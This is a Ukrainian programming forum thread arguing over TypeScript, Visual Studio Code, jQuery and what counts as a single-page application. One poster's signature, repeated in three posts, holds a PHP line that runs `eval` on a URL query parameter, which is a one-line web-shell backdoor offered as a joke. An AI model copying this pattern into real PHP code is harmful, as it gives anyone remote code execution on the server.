1 Востаннє редагувалося ktretyak (25.08.2016 22:28:03)

Тема: Хтось вже пробував TypeScript?

Зі мною все зрозуміло, я як справжні євангеліст довіряю Angular 2, який написаний на TypeScript. Мені здається що це реально крута річ, я раніше часто чув про строгу типізацію, але думав... "і що з того?".

Окрім строгої типізації, додається зручна функціональність, яку лише планується впроваджувати в ES6 та навіть ES7.

З того, що встиг розвідати цікавого для себе - стрілочні функції. Невпевнений, але мабуть підтримуються абсолютно усі можливості ES6.

Ну і оскільки TypeScript створила Microsoft, то спробував їхній безкоштовний редактор Visual Studio Code, і він теж сподобався. Реально легкий, швидкий, без різних наворотів для JavaScript + TypeSctipt + HTML те що треба.

Подякували: leofun01, 0xDADA11C72

2

Re: Хтось вже пробував TypeScript?

Трохи вивчив Visual Studio Code, для простих проектів - однозначно рекомендую.

Безкоштовний швидкий редактор, працює на Windows, Linux, з дуже простим інтерфейсом, але який вміє працювати з git, підсвічує синтаксис біля пів сотні мов програмування, а також розуміє Markdown (з можливістю попереднього перегляду). Вміє ще купу речей, це вже з коробки, без плагінів...

Зараз бачу, що трохи не вистачає навігатора коду (зручна річ, коли працюєш зі сторінкою на три кілометра).

Але в порівнянні з платним PHPStorm 10, який досить часто тупо зависає й не реагує на клавіатуру... та який залишається сирим вже стільки років... Редактор VS Code - просто лялька.

3

Re: Хтось вже пробував TypeScript?

jQuery вистачає.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

4

Re: Хтось вже пробував TypeScript?

jQuery та TypeScript спільного мають дуже мало. Використовувати TypeScript є сенс в складних системах побудованих на JavaScript, наприклад в SPA.

5

Re: Хтось вже пробував TypeScript?

Далеко не кожна односторінкова це складна система.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

6

Re: Хтось вже пробував TypeScript?

Invader написав:

Далеко не кожна односторінкова це складна система.

Думаю ви самі не писали і не заглядали в код хоч однієї SPA. Бо якщо б заглядали, то таки не просто таке написати на чистому JavaScript чи навіть використовуючи jQuery.

7

Re: Хтось вже пробував TypeScript?

Плюнув, дунув і написав. Бо ми ж бо програмісти з ВИЩОЮ ОСВІТОЮ і ДИПЛОМАМИ. Що нам якийсь JavaScript.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

8

Re: Хтось вже пробував TypeScript?

Invader, з вами давно все вже ясно... Але оскільки тут скукота, то дай думаю перевірю чи щось змінилось. Ні - не змінилось...

9

Re: Хтось вже пробував TypeScript?

Чого всі так тащаться від односторінок? В них же навігація дебільна.

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

10

Re: Хтось вже пробував TypeScript?

P.Y. написав:

Чого всі так тащаться від односторінок? В них же навігація дебільна.

Ми вже з вами з’ясовували, що навігація на SPA-сайтах абсолютно нічим не відрізняється від звичної навігації на "багато-сторінкових" сайтах. Така навігація не є властивістю SPA.

11

Re: Хтось вже пробував TypeScript?

ktretyak написав:
P.Y. написав:

Чого всі так тащаться від односторінок? В них же навігація дебільна.

Ми вже з вами з’ясовували, що навігація на SPA-сайтах абсолютно нічим не відрізняється від звичної навігації на "багато-сторінкових" сайтах. Така навігація не є властивістю SPA.

Киньте мені сюди посилання на якусь статтю десь посередині кілометрової розсувної односторінки.

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

12

Re: Хтось вже пробував TypeScript?

Не зовсім зрозумів прохання, мабуть ви ще раз хочете подивитись на односторінковий сайт з нормальною навігацією, так? https://docs.angularjs.org/api

13

Re: Хтось вже пробував TypeScript?

ktretyak написав:

Не зовсім зрозумів прохання, мабуть ви ще раз хочете подивитись на односторінковий сайт з нормальною навігацією, так? https://docs.angularjs.org/api

Зараз я там бачу багатосторінковий сайт з нормальною навігацією.

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

14 Востаннє редагувалося ktretyak (25.08.2016 22:33:08)

Re: Хтось вже пробував TypeScript?

Ок, давайте з’ясуємо що ви розумієте під односторінковим сайтом. Я під цим розумію, що при першому завантаженні йде GET-запит, а вже в подальшому - кожна наступна сторінка завантажується за допомогою AJAX-запиту як фрагмент головної сторінки, без перезавантаження усієї сторінки.

15 Востаннє редагувалося P.Y. (06.03.2016 17:33:58)

Re: Хтось вже пробував TypeScript?

Саме так. Тому URL такого сайту при довантаженні контенту лишається незмінним (чи, максимум, додаються хеш-параметри) — у даному ж випадку, ми спостерігаємо повноцінну зміну адреси сторінки при кожному кліку на посилання. Довантаження контенту при промотуванні сторінки до кінця я також не помітив. В якому місці це довантаження відбувається?

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

16

Re: Хтось вже пробував TypeScript?

З чого такий висновок? Ви відкривали панель розробника в браузері (F12)? Там же чітко видно, що йдуть AJAX-запити. Якщо ви такий висновок робити по тому як крутиться "колесо завантаження" закладки, то, на скільки я розумію, таке відбувається при завантаженні картинок через GET-запит.

17 Востаннє редагувалося P.Y. (06.03.2016 17:41:43)

Re: Хтось вже пробував TypeScript?

Якщо точніше, це виглядає багатосторінковий сайт з окремим завантаженням контенту сторінки через скрипт. Однак, це довантаження відбувається разово при завантаженні сторінки, а не в процесі навігації по ній (що типово для односторінкових веб-додатків).

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

18

Re: Хтось вже пробував TypeScript?

Видно що ви не веб-фронт-енд програміст. Якщо цікаво, прогляньте ту панель розробника, яка відкривається в браузері. Там можна знайти підтвердження моїх слів.

19 Востаннє редагувалося P.Y. (06.03.2016 17:56:15)

Re: Хтось вже пробував TypeScript?

Добре, клікніть правою кнопкою по будь-якому посиланню на сторінці й виберіть «дослідити елемент» — ви побачите, що це звичайне гіперпосилання, клік по якому обробляється без участі скрипта. При бажанні, його можна відкрити в новому вікні (що неможливо зробити з onclick-обробником). AJAX-запит, як було сказано вище, відбувається разово на початку завантаження сторінки, контент (у т.ч., всі ці гіперпосилання) генерується через скрипт, але далі сторінка зі згенерованим на стороні браузера контенотом продовжує жити як звичайний html.

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

20

Re: Хтось вже пробував TypeScript?

На скріні показано що саме завантажується при переході та який запит відбувається:
1. завантажується фрагмент сторінки через AJAX
2. йде запит для гугл-статистики

https://googledrive.com/host/0Bwk9euTxkxYUOFFUS29tSGJ4eXM/replace.org.ua/img/angular-ajax-demo.png